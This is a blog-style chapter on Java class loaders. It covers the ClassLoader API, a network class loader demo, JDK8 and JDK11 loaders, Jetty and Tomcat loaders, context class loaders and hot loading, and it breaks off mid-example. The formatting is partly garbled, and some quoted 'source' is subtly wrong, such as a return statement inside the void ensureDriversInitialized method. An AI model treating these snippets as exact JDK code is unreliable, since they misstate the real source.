Skip to content

Blog

Java Class Loader

The class loader is responsible for loading class data from bytecode files into the JVM, performing verification, parsing, and initialization of the data, ultimately forming Java types that can be directly used by the JVM.

In general web development, we rarely use class loaders directly because web containers shield us from their complexity - we only need to focus on implementing business logic. However, if you’ve developed Java middleware, you’ll find class loaders are used very frequently.

This chapter first introduces the ClassLoader API and its usage, then sequentially covers the ClassLoader source code, JDK and web middleware class loaders, and finally explains the implementation principles of hot loading technology.

4.1 ClassLoader API

ClassLoader is an abstract class that cannot be used directly, so we need to extend it and override its methods. Its main methods include defineClass, loadClass, findClass, resolveClass and their overloaded versions. The key method definitions are as follows:

// Takes a byte array of bytecode as input and outputs a Class object - its purpose is to parse the byte array into a Class object
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
// Finds a Class object by class name
public Class<?> loadClass(String name)
// Locates a class by name
protected Class<?> findClass(String name)
// Called after class loading to complete class linking
protected final void resolveClass(Class<?> c)

Let’s first implement a simple NetworkClassLoader that has the capability to load class files from the network. The implementation code is as follows:

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
public class NetworkClassLoader extends ClassLoader {
// Download URL
private String downloadUrl;
public NetworkClassLoader(String downloadUrl) {
this.downloadUrl = downloadUrl;
}```java
// Implementing the class lookup method
@Override
public Class findClass(String name) {
byte[] b = loadClassData(name);
return defineClass(name, b, 0, b.length);
}
// Downloads the class file from remote to obtain the bytecode array
private byte[] loadClassData(String name) {
// load the class data from the connection
// ...
}
// Converts class name to server download path
private String classNameToPath(String name) {
return downloadUrl + "/" + name.replace(".", "/") + ".class";
}
// Test method
public class Main {
public static void main(String[] args) throws Exception {
// Download URL
String baseUrl = "https://wwww.jrasp.com";
// Initialize network class loader
NetworkClassLoader loader = new NetworkClassLoader(baseUrl);
// Load class located at https://wwww.jrasp.com/Foo.class and create instance
Object foo = loader.loadClass("Foo").newInstance();
}
}
}

The loaded class Foo is a simple class that outputs “create new instance” when creating an instance object. The code for class Foo is as follows:

public class Foo {
public Foo() {
System.out.println("create new instance");
}
}
// Running the Main method produces the following output:
// create new instance

The main functions of ClassLoader are class lookup, loading and linking. In addition to loading classes, class loaders are also responsible for loading resources such as configuration files or images.

4.2 ClassLoader Source Code Analysis

With the above usage foundation, let’s analyze the source code of the class loader and its important implementation classes.

4.2.1 loadClass

ClassLoader calls its loadClass method to load classes. The core code of loadClass is as follows:

Code location: src/java.base/share/classes/java/lang/ClassLoader.java```java protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { // First, check if the class has already been loaded Class c = findLoadedClass(name); if (c == null) { try { if (parent != null) { // If the parent class loader is not null, attempt to load from parent c = parent.loadClass(name, false); } else { // If parent loader is null, use bootstrap class loader c = findBootstrapClassOrNull(name); } } catch (ClassNotFoundException e) { // Ignore exception and continue searching } if (c == null) { // If parent loaders fail, call the overridden findClass method of current ClassLoader c = findClass(name); } } // Link the class if (resolve) { resolveClass(c); } return c; } }

The class loading sequence above can be summarized as: first attempt to load via parent loader (if parent loader is null, use the system bootstrap class loader), and only when all parent loaders fail will it delegate to the current ClassLoader's overridden findClass method. As shown in Figure 4-1:
> Figure 4-1 Class Loader Delegation Model
![Figure 4-1 Class Loader Delegation Model.png](4-1.png)
### 4.2.2 findClass
During class loading, if all parent loaders fail to find the class, the overridden findClass method of the child class loader will be invoked. The findClass method is as follows:
> Code location: src/java.base/share/classes/java/lang/ClassLoader.java```java
protected Class<?> findClass(String name) throws ClassNotFoundException {
// Throws exception when called
throw new ClassNotFoundException(name);
}

As we can see, this method throws an exception, so it cannot be called directly and requires subclass implementation. URLClassLoader is a subclass of ClassLoader and overrides the findClass method. The properties and constructor of URLClassLoader are as follows:

Code location: src/java.base/share/classes/java/net/URLClassLoader.java

// Search path for classes and resources
private final URLClassPath ucp;
public URLClassLoader(URL[] urls, ClassLoader parent) {
// Specify parent class loader
super(parent);
// ... Permission check code omitted
this.acc = AccessController.getContext();
// Initialize ucp property
ucp = new URLClassPath(urls, acc);
}

Implements the findClass method of ClassLoader to load classes from specified paths.

Code location: src/java.base/share/classes/java/net/URLClassLoader.java

protected Class<?> findClass(final String name) throws ClassNotFoundException {
// 1. Convert fully qualified class name to .class file path format
String path = name.replace('.', '/').concat(".class");
// 2. Check if it exists in URLClassPath
Resource res = ucp.getResource(path, false);
// ... Exception handling omitted
return defineClass(name, res);
}

The execution logic of URLClassLoader’s findClass method mainly consists of three steps:

  • Convert the fully qualified class name to .class file path format;
  • Check if the file exists in URLs;
  • Call defineClass to complete class linking and initialization;

4.2.3 defineClass

defineClass is used together with findClass. findClass is responsible for reading bytecode from disk or network, while defineClass parses the bytecode into a Class object. The defineClass method uses resolveClass to complete the linking of the Class. The source code is as follows:

Code location: src/java.base/share/classes/java/lang/ClassLoader.java```java protected final Class defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain) throws ClassFormatError { protectionDomain = preDefineClass(name, protectionDomain); String source = defineClassSourceLocation(protectionDomain); // Call native method to complete linking Class c = defineClass1(name, b, off, len, protectionDomain, source); postDefineClass(c, protectionDomain); return c; }

The implementation of `defineClass` lies in the `defineClass1` method, which is a native method with its specific implementation in HotSpot. The implementation is quite complex and generally doesn't require special attention.
The steps required when a ClassLoader loads a class file into the JVM are shown in Figure 4-2 below:
> Figure 4-2 Phases of JVM Class Loading
![Figure 4-2 Phases of JVM Class Loading](4-2.png)
Typically, we only need to override the `findClass` method of ClassLoader to obtain the bytecode of the class to be loaded, then call the `defineClass` method to generate the Class object. If you want the class to be linked immediately when loaded into the JVM, you can call the `resolveClass` method, or leave it to the JVM to link during class initialization.
## 4.3 JDK's Class Loaders
JDK's own jar packages such as rt.jar and tools.jar (or modules in JDK9+) also require class loaders for loading. The following code demonstrates how to obtain JDK's built-in class loaders:
```java
public class JdkClassloader {
public static void main(String[] args) {
// Get system class loader
ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
System.out.println(systemClassLoader);
// Get parent of system class loader --> extension class loader or platform class loader
ClassLoader platformClassLoader = systemClassLoader.getParent();
System.out.println(platformClassLoader);
// Get parent of extension class loader --> bootstrap class loader (C/C++)
ClassLoader bootstrapClassLoader = platformClassLoader.getParent();
System.out.println(bootstrapClassLoader);
}
}
```Running on JDK8:

sun.misc.Launcher$AppClassLoader@18b4aac2 sun.misc.Launcher$ExtClassLoader@4a574795 null

Running on JDK11:

jdk.internal.loader.ClassLoaders$AppClassLoader@512ddf17 jdk.internal.loader.ClassLoaders$PlatformClassLoader@3cda1055 null

As shown, there are differences in the class names of class loaders between JDK8 and JDK11. The implementations are explained separately below.
### 4.3.1 JDK8 Class Loaders
#### 4.3.1.1 AppClassLoader
AppClassLoader, also known as System ClassLoader, extends URLClassLoader. It is one of the default class loaders in the JVM, primarily used to load user classes and third-party dependency packages. The loading path can be specified via the `-Djava.class.path` parameter in the JVM startup command.
> Code location: src/share/classes/sun/misc/Launcher$AppClassLoader.java
```java
// AppClassLoader extends URLClassLoader
static class AppClassLoader extends URLClassLoader {
public static ClassLoader getAppClassLoader(final ClassLoader extcl)
throws IOException {
// Search path java.class.path
final String s = System.getProperty("java.class.path");
final File[] path = (s == null) ? new File[0] : getClassPath(s);
URL[] urls = (s == null) ? new URL[0] : pathToURLs(path);
return new AppClassLoader(urls, extcl);
}
AppClassLoader(URL[] urls, ClassLoader parent) {
super(urls, parent, factory);
}
// Overrides loadClass
public Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException {
// Calls parent URLClassLoader to complete class loading
return (super.loadClass(name, resolve));
}
// Other methods omitted...
}

4.3.1.2 ExtClassLoader

The ExtClassLoader, known as the Extension ClassLoader, inherits from URLClassLoader and is primarily responsible for loading Java’s extension libraries. By default, it loads all JAR packages in the ${JAVA_HOME}/jre/lib/ext/ directory. Its search path can also be configured using the -Djava.ext.dirs parameter.

Code location: src/share/classes/sun/misc/Launcher$ExtClassLoader.java

// ExtClassLoader inherits from URLClassLoader
static class ExtClassLoader extends URLClassLoader {
public static ExtClassLoader getExtClassLoader() throws IOException {
final File[] dirs = getExtDirs();
try {
return new ExtClassLoader(dirs);
} catch (java.security.PrivilegedActionException e) {
throw (IOException) e.getException();
}
}
public ExtClassLoader(File[] dirs) throws IOException {
super(getExtURLs(dirs), null, factory);
}
private static File[] getExtDirs() {
// Specify the loading path through system properties
String s = System.getProperty("java.ext.dirs");
File[] dirs;
if (s != null) {
StringTokenizer st =
new StringTokenizer(s, File.pathSeparator);
int count = st.countTokens();
dirs = new File[count];
for (int i = 0; i < count; i++) {
dirs[i] = new File(st.nextToken());
}
} else {
dirs = new File[0];
}
return dirs;
}
}

The inheritance relationship of class loaders in JDK8 is shown in Figure 4-3 below:

Figure 4-3: Inheritance Relationship of Class Loaders in JDK8

Figure 4-3: Inheritance Relationship of Class Loaders in JDK8

4.3.1.3 Initialization of Class Loaders in JDK8

The initialization of JDK’s class loaders is implemented in the Launcher class.

Source location: src/share/classes/sun/misc/Launcher.java

public class Launcher {```
public Launcher() {
// Create ExtClassLoader
ClassLoader extcl = ExtClassLoader.getExtClassLoader();
// Create AppClassLoader
ClassLoader loader = AppClassLoader.getAppClassLoader(extcl);
// Set current thread's ContextClassLoader
Thread.currentThread().setContextClassLoader(loader);
// Exception handling code omitted
}
// ...
}

As can be seen, the initialization process is relatively simple: first initialize the ExtClassLoader, then initialize the AppClassLoader, and set the AppClassLoader’s parent loader as ExtClassLoader.

4.3.2 Class Loaders in JDK11

After implementing modularization in JDK9, some modifications were made to Classloader, one of which was changing ExtClassLoader to PlatformClassLoader. With modularization, different Classloaders load their corresponding modules. Since JDK11 is a long-term supported stable version, we use JDK11’s source code to illustrate the changes in class loaders. The inheritance relationship of class loaders in JDK11 is shown in Figure 4-4 below:

Figure 4-4 Inheritance relationship of class loaders in JDK11

Figure 4-4 Inheritance relationship of class loaders in JDK11

4.3.2.1 BuiltinClassLoader

BuiltinClassLoader is the parent class of PlatformClassLoader, BootClassLoader, and AppClassloader. Functionally similar to URLClassLoader, it implements class lookup based on UrlClassPath, but BuiltinClassLoader also supports loading classes from modules.

The properties and constructor of BuiltinClassLoader are as follows:

Code location: src/java.base/share/classes/jdk/internal/loader/BuiltinClassLoader.java

// Class loader path
private final URLClassPath ucp;
BuiltinClassLoader(String name, BuiltinClassLoader parent, URLClassPath ucp) {
// Ensure returning null when parent loader is bootloader
// name is the name of the class loader
super(name, parent == null || parent == ClassLoaders.bootLoader() ? null : parent);
this.parent = parent;
this.ucp = ucp;
this.nameToModule = new ConcurrentHashMap<>();
this.moduleToReader = new ConcurrentHashMap<>();
}
```The `BuiltinClassLoader` also overrides the `loadClass` method, which actually calls the `loadClassOrNull` method. Let's examine the implementation of the `loadClassOrNull` method.
> Source location: src/java.base/share/classes/jdk/internal/loader/BuiltinClassLoader.java
```java
protected Class<?> loadClassOrNull(String cn, boolean resolve) {
// Lock to ensure thread safety
synchronized (getClassLoadingLock(cn)) {
// First check if the class has already been loaded (this is a native method in ClassLoader)
Class<?> c = findLoadedClass(cn);
if (c == null) {
// Need to load module information first
LoadedModule loadedModule = findLoadedModule(cn);
if (loadedModule != null) {
BuiltinClassLoader loader = loadedModule.loader();
if (loader == this) {
if (VM.isModuleSystemInited()) {
c = findClassInModuleOrNull(loadedModule, cn);
}
} else {
// Delegate to another class loader
c = loader.loadClassOrNull(cn);
}
} else {
// First try to load using the parent loader
if (parent != null) {
c = parent.loadClassOrNull(cn);
}
// If still not loaded, use the current loader
if (c == null && hasClassPath() && VM.isModuleSystemInited()) {
// This method internally calls defineClass to complete class definition
c = findClassOnClassPathOrNull(cn);
}
}
}
if (resolve && c != null)
resolveClass(c);```
return c;
}
}

There is a slight difference from the usual parent delegation. If a class belongs to a module, the module’s class loader will be directly invoked to load it, rather than using the parent delegation model of the current class loader. However, once the corresponding class loader for this class is found, parent delegation will still be followed for the loading process.

BuiltinClassLoader also overrides the findClass method of ClassLoader.

Source location: src/java.base/share/classes/jdk/internal/loader/BuiltinClassLoader.java

@Override
protected Class<?> findClass(String cn) throws ClassNotFoundException {
// Attempt to find in modules
LoadedModule loadedModule = findLoadedModule(cn);
Class<?> c = null;
if (loadedModule != null) {
// Delegate loading task to the module's loader
if (loadedModule.loader() == this) {
c = findClassInModuleOrNull(loadedModule, cn);
}
} else {
// Search in classpath
if (hasClassPath()) {
c = findClassOnClassPathOrNull(cn);
}
}
// If not found, throw exception
if (c == null)
throw new ClassNotFoundException(cn);
return c;
}

Here, findClassOnClassPathOrNull searches for the class in the classpath.

Source location: src/java.base/share/classes/jdk/internal/loader/BuiltinClassLoader.java

private Class<?> findClassOnClassPathOrNull(String cn) {
String path = cn.replace('.', '/').concat(".class");
// Permission check code omitted...
Resource res = ucp.getResource(path, false);
if (res != null) {
try {
return defineClass(cn, res);
} catch (IOException ioe) {
// TBD on how I/O errors should be propagated
}
}
return null;
}
4.3.2.2 Subclasses of BuiltinClassLoader and Initialization

The ClassLoaders class initializes the BootClassLoader, PlatformClassLoader, and AppClassLoader class loaders respectively.> Source location: src/java.base/share/classes/jdk/internal/loader/ClassLoaders.java

public class ClassLoaders {
// JDK built-in class loaders
private static final BootClassLoader BOOT_LOADER;
private static final PlatformClassLoader PLATFORM_LOADER;
private static final AppClassLoader APP_LOADER;
// Initialize class loader objects
static {
// Can be specified using -Xbootclasspath/a or Boot-Class-Path attribute in -javaagent
String append = VM.getSavedProperty("jdk.boot.class.path.append");
// Initialize BOOT_LOADER
BOOT_LOADER =
new BootClassLoader((append != null && append.length() > 0)
? new URLClassPath(append, true)
: null);
// Initialize PLATFORM_LOADER and set BOOT_LOADER as parent of AppClassLoader
PLATFORM_LOADER = new PlatformClassLoader(BOOT_LOADER);
// Get classpath
String cp = System.getProperty("java.class.path");
if (cp == null || cp.length() == 0) {
String initialModuleName = System.getProperty("jdk.module.main");
cp = (initialModuleName == null) ? "" : null;
}
URLClassPath ucp = new URLClassPath(cp, false);
// Initialize APP_LOADER and set PLATFORM_LOADER as parent of AppClassLoader
APP_LOADER = new AppClassLoader(PLATFORM_LOADER, ucp);
}
// ...
}

From the initialization code of the class loader instances, we can see that BootClassLoader is used to load classes specified by the jdk.boot.class.path.append parameter. During PLATFORM_LOADER initialization, BOOT_LOADER is set as its parent, and during AppClassLoader initialization, PLATFORM_LOADER is set as its parent, forming a three-tier class loader structure.

Now let’s look at the PlatformClassLoader class which is specific to JDK9 and above:```java private static class PlatformClassLoader extends BuiltinClassLoader {

PlatformClassLoader(BootClassLoader parent) {
// The class loader name is "platform"
super("platform", parent, null);
}
// ...

}

Different class loaders are responsible for loading corresponding modules, which are specified during JDK compilation.
> Source: jdk11-1ddf9a99e4ad/make/common/Modules.gmk
+ BOOT_MODULES are modules defined by the bootstrap loader:
```text
java.base java.datatransfer
java.desktop java.instrument
java.logging java.management
java.management.rmi java.naming
java.prefs java.rmi
java.security.sasl java.xml
jdk.internal.vm.ci jdk.jfr
jdk.management jdk.management.jfr
jdk.management.agent jdk.net
jdk.sctp jdk.unsupported
jdk.naming.rmi
  • PLATFORM_MODULES are modules defined by the platform loader:
java.net.http java.scripting
java.security.jgss java.smartcardio
java.sql java.sql.rowset
java.transaction.xa java.xml.crypto
jdk.accessibility jdk.charsets
jdk.crypto.cryptoki jdk.crypto.ec
jdk.dynalink jdk.httpserver
jdk.jsobject jdk.localedata
jdk.naming.dns jdk.scripting.nashorn
jdk.security.auth jdk.security.jgss
jdk.xml.dom jdk.zipfs
jdk.crypto.mscapi jdk.crypto.ucrypto
java.compiler jdk.aot
jdk.internal.vm.compiler
jdk.internal.vm.compiler.management
java.se
  • JRE_TOOL_MODULES are tools included in JRE, loaded by AppClassLoader:
jdk.jdwp.agent
jdk.pack
jdk.scripting.nashorn.shell

Other modules not listed are loaded by AppClassLoader.## 4.4 Web Container Class Loaders

The previous section introduced the general class loading model in Java: the Parent Delegation Model, which applies to most class loading scenarios. However, this model is not suitable for web containers because the Servlet specification imposes certain requirements on web container class loading. The main rules are as follows:

  • Classes under WEB-INF/classes and WEB-INF/lib take precedence over classes from the parent container. For example, if there is a Foo class in WEB-INF/classes and another Foo class in CLASSPATH, the web container loader will prioritize loading the class from WEB-INF/classes. This behavior is contrary to the Parent Delegation Model.
  • System classes like java.lang.Object do not follow the first rule. Classes in WEB-INF/classes or WEB-INF/lib cannot replace system classes. The specification does not explicitly define which classes are considered system classes, but web containers typically determine them by enumerating certain classes.
  • The implementation classes of the web container itself cannot be referenced by application classes, meaning no application class loader can load the web container’s implementation classes. The web container identifies its own classes by enumerating package names.

4.4.1 Jetty Class Loader

To meet these three requirements and achieve dependency isolation between different deployed applications, Jetty defines its own class loader called WebAppClassLoader. The inheritance relationship of this class loader is shown below:

Figure 4-5 Inheritance Relationship of Jetty Class Loaders

Figure 4-5 Inheritance Relationship of Jetty Class Loaders

The attributes of WebAppClassLoader are as follows:

// Class loader context
private final Context _context;
// Parent loader
private final ClassLoader _parent;
// File extensions to load (.zip or .jar)
private final Set<String> _extensions = new HashSet<String>();
// Loader name
private String _name = String.valueOf(hashCode());
// Pre-class-loading transformers
private final List<ClassFileTransformer> _transformers = new CopyOnWriteArrayList<>();

Classes whose package path names are included in the following paths are considered system classes. System classes are visible to application classes.

// System classes cannot be replaced by classes from application JARs and can only be loaded by the system classloader
public static final ClassMatcher __dftSystemClasses = new ClassMatcher(
"java.","javax.","org.xml.","org.w3c."
);

Server classes are not visible to any application. Jetty also uses package path names to identify Server classes. The configuration in WebAppContext is as follows:

// Loaded by the system classloader and invisible to web applications
public static final ClassMatcher __dftServerClasses = new ClassMatcher(
"org.eclipse.jetty."
);
```We can set Server classes using the `WebAppContext.addServerClasses` or `WebAppContext.addServerClassMatcher` methods. Note that Server classes are invisible to all applications, but application classes under WEB-INF/lib can replace Server classes.
> Code location: jetty-webapp/src/main/java/org/eclipse/jetty/webapp/WebAppContext.java
```java
public static void addServerClasses(Server server, String... pattern) {
addClasses(__dftServerClasses, SERVER_SRV_CLASSES, server, pattern);
}
public static void addSystemClasses(Server server, String... pattern) {
addClasses(__dftSystemClasses, SERVER_SYS_CLASSES, server, pattern);
}
public void addServerClassMatcher(ClassMatcher serverClasses) {
_serverClasses.add(serverClasses.getPatterns());
}
public void addSystemClassMatcher(ClassMatcher systemClasses) {
_systemClasses.add(systemClasses.getPatterns());
}
```The constructor of WebAppClassLoader is as follows:
```java
public WebAppClassLoader(ClassLoader parent, Context context)
throws IOException {
// Specify parent class loader
super(new URL[]{}, parent != null ? parent
: (Thread.currentThread().getContextClassLoader() != null ? Thread.currentThread().getContextClassLoader()
: (WebAppClassLoader.class.getClassLoader() != null ? WebAppClassLoader.class.getClassLoader()
: ClassLoader.getSystemClassLoader())));
_parent = getParent();
_context = context;
if (_parent == null)
throw new IllegalArgumentException("no parent classloader!");
// File types that the class loader can load: jar or zip packages
_extensions.add(".jar");
_extensions.add(".zip");
}

The constructor can explicitly specify a parent class loader. By default, it is null, meaning the current thread’s context classLoader is designated as the parent. If not specified by the user, this thread context classLoader will default to the previously mentioned System ClassLoader.

Now let’s look at the loadClass method.

@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
ClassNotFoundException ex = null;
Class<?> parentClass = null; // From parent class loader
Class<?> webappClass = null; // From webapp class loader```
// First search from already loaded classes
webappClass = findLoadedClass(name);
if (webappClass != null) {
return webappClass;
}
// First try loading from current class loader (true here indicates checking if the class is a system class, if not, return the loaded class)
webappClass = loadAsResource(name, true);
if (webappClass != null) {
return webappClass;
}
// Then try loading from parent class loader
try {
parentClass = _parent.loadClass(name);
// Check if loading server classes is allowed, or if the current class is not a server class
if (Boolean.TRUE.equals(__loadServerClasses.get())
|| !_context.isServerClass(parentClass)) {
return parentClass;
}
} catch (ClassNotFoundException e) {
ex = e;
}
// Try loading from current class loader again (false here indicates not checking if the class is a system class)
webappClass = loadAsResource(name, false);
if (webappClass != null) {
return webappClass;
}
throw ex == null ? new ClassNotFoundException(name) : ex;
}
}

4.4.2 Tomcat Class Loader

Similar to the Jetty container, Tomcat also needs to comply with the three servlet specifications. The inheritance relationship of Tomcat’s class loaders is shown in Figure 4-6 below.

Figure 4-6 Inheritance Relationship of Tomcat Class Loaders

Figure 4-6 Inheritance Relationship of Tomcat Class Loaders

4.4.2.1 WebappClassLoader> Source: apache-tomcat-10.1.13-src/java/org/apache/catalina/loader/WebappLoader.java

public class WebappClassLoader extends WebappClassLoaderBase {
public WebappClassLoader() {
super();
}
public WebappClassLoader(ClassLoader parent) {
super(parent);
}
//...
}

WebappClassLoader extends WebappClassLoaderBase, with the core class loading functionality primarily implemented in WebappClassLoaderBase. Looking directly at the code of WebappClassLoaderBase, it is an abstract class that inherits from URLClassLoader and overrides the loadClass method.

Source: apache-tomcat-10.1.13-src/java/org/apache/catalina/loader/WebappClassLoaderBase.java

First, let’s examine its properties and constructor:

// Whether to use the parent delegation model
protected boolean delegate = false;
// Class loader for loading JavaSE classes
private ClassLoader javaseClassLoader;
// Parent loader of the current class loader
protected final ClassLoader parent;
protected WebappClassLoaderBase() {
super(new URL[0]);
// If no parent loader is specified during initialization, the parent defaults to the system class loader
ClassLoader p = getParent();
if (p == null) {
p = getSystemClassLoader();
}
this.parent = p;
// Initialize javaseClassLoader as the platform class loader or extension class loader
ClassLoader j = String.class.getClassLoader();
if (j == null) {
j = getSystemClassLoader();
while (j.getParent() != null) {
j = j.getParent();
}
}
this.javaseClassLoader = j;
}

The loadClass method is overridden as follows:

@Override
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class<?> clazz = findLoadedClass0(name);
if (clazz != null) return clazz;```
// If not found in the web application's local class cache, search in the system class loader cache,
// If found, it means AppClassLoader has already loaded this class before
clazz = findLoadedClass(name);
if (clazz != null) return clazz;
// Convert class names like java.lang.String to java/lang/String format
String resourceName = binaryNameToPath(name, false);
// Get the bootstrap class loader (BootstrapClassLoader)
ClassLoader javaseLoader = getJavaseClassLoader();
boolean tryLoadingFromJavaseLoader;
try {
// The bootstrap class loader gets the resource URL based on the converted class name
// If the URL is not null, it means the class to be loaded is found
URL url = javaseLoader.getResource(resourceName);
tryLoadingFromJavaseLoader = (url != null);
} catch (Throwable t) {
// ...
}
// First, try loading from the extension class loader (ExtClassLoader)
if (tryLoadingFromJavaseLoader) {
return javaseLoader.loadClass(name);
}
// delegate allows class loading to be delegated to the parent class loader
boolean delegateLoad = delegate || filter(name, true);
if (delegateLoad) {
return Class.forName(name, false, parent);
}
// Load from the current web path
clazz = findClass(name);
// If the class still hasn't been loaded after the above steps,
// use the system class loader (also known as the application class loader) to load it
if (!delegateLoad) {
return Class.forName(name, false, parent);
}
}
// Finally, if the class still hasn't been loaded, throw ClassNotFoundException
throw new ClassNotFoundException(name);
}

4.2.2.3 JSP Class Loader

The JSP class loader also inherits from URLClassLoader and overrides loadClass. Let’s examine its source code.

Source: apache-tomcat-10.1.13-src/java/org/apache/jasper/servlet/JasperLoader.java```java public class JasperLoader extends URLClassLoader {

@Override
public synchronized Class<?> loadClass(final String name, boolean resolve)
throws ClassNotFoundException {
Class<?> clazz = null;
// Look up in JVM class cache
clazz = findLoadedClass(name);
if (clazz != null) {
if (resolve) {
resolveClass(clazz);
}
return clazz;
}
// SecurityManager code omitted
// If class name doesn't start with org.apache.jsp package, use WebappClassLoader to load
if( !name.startsWith(Constants.JSP_PACKAGE_NAME + '.') ) {
clazz = getParent().loadClass(name);
if( resolve ) {
resolveClass(clazz);
}
return clazz;
}
// For classes starting with org.apache.jsp package, call URLClassLoader's findClass method
// to dynamically load class files, parse into Class objects, and return to caller
return findClass(name);
}

}

From the source code, we can see that JSP class loading first attempts to load from the JVM class cache (classes loaded by Bootstrap and other class loaders). If it's not a JSP class, it loads from the web application class loader WebappClassLoader. If still not found, it loads from the specified URL path.
The initialization code for JasperLoader is as follows:
> Source: apache-tomcat-10.1.13-src/java/org/apache/jasper/JspCompilationContext.java
```java
public ClassLoader getJspLoader() {
if( jspLoader == null ) {
jspLoader = new JasperLoader(new URL[] {baseUrl}, getClassLoader(),
basePackageName, rctxt.getPermissionCollection());
}
return jspLoader;
}

When initializing JasperLoader, the loading path and parent loader are specified.## 4.5 Thread Context Class Loader

In the previous sections, we focused on analyzing the implementation principles of the parent delegation model and arrived at a fundamental conclusion: child class loaders can use classes already loaded by parent class loaders, whereas parent class loaders cannot use classes loaded by child class loaders. This leads to situations where the parent delegation model cannot solve all class loader issues. For example, Java provides certain interfaces (Service Provider Interface, SPI) such as JDBC, JNDI, and JAXP. These interface classes are loaded by either the BootstrapClassLoader or PlatformClassLoader, but their implementations are typically provided by third parties and loaded by the AppClassLoader. The BootstrapClassLoader cannot load the implementation classes of these core interfaces because it only loads Java’s core libraries. It also cannot delegate to the AppClassLoader since it is the topmost class loader. In other words, the parent delegation model cannot resolve this issue. To address this problem, Java introduced the thread context class loader (ContextClassLoader).

The relevant content about the thread context class loader is found in the Thread class, as shown in the following code:

jdk11/src/java.base/share/classes/java/lang/Thread.java

public class Thread implements Runnable {
// Other properties omitted...
private ClassLoader contextClassLoader;
// Get the context class loader
public ClassLoader getContextClassLoader() {
if (contextClassLoader == null)
return null;
return contextClassLoader;
}
// Set the context class loader
public void setContextClassLoader(ClassLoader cl) {
contextClassLoader = cl;
}
// Create a thread instance
private Thread(ThreadGroup g, Runnable target, String name,
long stackSize, AccessControlContext acc,
boolean inheritThreadLocals) {
// The thread creating this thread instance
Thread parent = currentThread();
g.addUnstarted();
this.group = g;
this.daemon = parent.isDaemon();
this.priority = parent.getPriority();```
// Initialize to parent thread's context class loader
if (security == null || isCCLOverridden(parent.getClass()))
this.contextClassLoader = parent.getContextClassLoader();
else
this.contextClassLoader = parent.contextClassLoader;
// Other code omitted.......
}
}

From the source code, we can see that the thread context class loader is an attribute of the Thread class. It can cache the class loader used by the current thread, inherits the parent thread’s context class loader when the thread is created, and can be set to other values during thread execution.

In JDBC, DriverManager is used to manage different database drivers introduced in a project, such as MySQL drivers and Oracle drivers. In JDK 11, the DriverManager class is in the java.sql module, which is loaded by the PlatformClassLoader, while the MySQL driver classes in dependencies are loaded by the application class loader. Under the parent delegation model, DriverManager cannot access MySQL driver classes. Here, JDK uses the context class loader to bypass this restriction.

Let’s look at the DriverManager source code implementation:

jdk11/src/java.sql/share/classes/java/sql/DriverManager.java

public static Driver getDriver(String url) throws SQLException {
// Load driver class
ensureDriversInitialized();
for (DriverInfo aDriver : registeredDrivers) {
try {
if (aDriver.driver.acceptsURL(url)) {
return (aDriver.driver); // Get driver
}
} catch(SQLException sqe) {
// ignore
}
}
throw new SQLException("No suitable driver", "08001");
}

From its name, ensureDriversInitialized ensures that driver classes are properly initialized, then iterates through registered drivers and returns the Driver object. Let’s first examine how the ensureDriversInitialized method obtains driver classes.

private static void ensureDriversInitialized() {
if (driversInitialized) return;```java
synchronized (lockForInitDrivers) {
if (driversInitialized) return;
String drivers;
// Get driver class names from system environment variables
try {
return System.getProperty(JDBC_DRIVERS_PROPERTY);
} catch (Exception ex) {
drivers = null;
}
// Use ServiceLoader to read driver implementations from jar packages
ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class);
Iterator<Driver> driversIterator = loadedDrivers.iterator();
try {
while (driversIterator.hasNext()) {
driversIterator.next();
}
} catch (Throwable t) {
// Do nothing
}
// Class loading
if (drivers != null && !drivers.equals("")) {
String[] driversList = drivers.split(":");
for (String aDriver : driversList) {
try {
// Attempt to load the class here. If SystemClassLoader fails, driver initialization fails
Class.forName(aDriver, true, ClassLoader.getSystemClassLoader());
} catch (Exception ex) {
// ...
}
}
}
driversInitialized = true;
}
}

The loading of driver classes mainly occurs in ServiceLoader.load(Driver.class). The implementation of the load method is as follows:

jdk11/src/java.base/share/classes/java/util/ServiceLoader.java

public static <S> ServiceLoader<S> load(Class<S> service) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
return new ServiceLoader<>(Reflection.getCallerClass(), service, cl);
}

From the source code, we can see that the current thread’s context class loader is used when loading classes.

4.6 Hot Loading and Unloading

During the class loading process, we know that the JVM first checks whether the class has already been loaded. If it has, it won’t look for the class in jar packages or paths but will use the cached class instead. The JVM determines whether two classes are the same based on two conditions: first, whether their fully qualified names are identical, and second, whether their class loader instances are the same. Therefore, to achieve hot loading of classes, different class loaders can be used to load the same class file. Using different class loader instances to load the same class file will result in an increasing number of class instances as loading occurs repeatedly. If metaspace/permanent generation is not cleaned up promptly, there is a risk of memory overflow.

However, the conditions for class unloading are very stringent. Generally, all three of the following conditions must be met simultaneously, and a full GC must be performed by the JVM before complete cleanup can occur. The three conditions for class unloading are as follows:

Figure 4-7 Conditions for Class Unloading

Figure 4-7 Conditions for Class Unloading

The timing of full GC is beyond our control, and consequently, so is class unloading. From the three conditions above, we can see that the JVM’s built-in class loaders cannot be reclaimed, meaning classes loaded by the JVM will not be unloaded. Only custom class loaders have the potential to be unloaded. Below is a specific requirement implemented using hot loading: an application loads a class script at runtime, and the script can be hot-updated. There is a script interface with computation execution functionality.

public interface Script {
// Execute computation
String run(String key);
}

The implementation class of the script is responsible for specific computation functionality.

public class ScriptImpl implements Script {
public ScriptImpl() {
}
public String run(String key) {
return key;
}
}

Replacing the script implementation during JVM runtime enables script updates.

public class Main {
public static void main(String[] args) throws Exception {
ClassLoader appClassloader = Main.class.getClassLoader();
ScriptClassLoader scriptClassLoader1 = new ScriptClassLoader("resources", appClassloader);
Class<?> scriptImpl1 = scriptClassLoader1.loadClass("ScriptImpl");
System.out.println(scriptImpl1.hashCode());```
ScriptClassLoader scriptClassLoader2 = new ScriptClassLoader("resources", appClassloader);
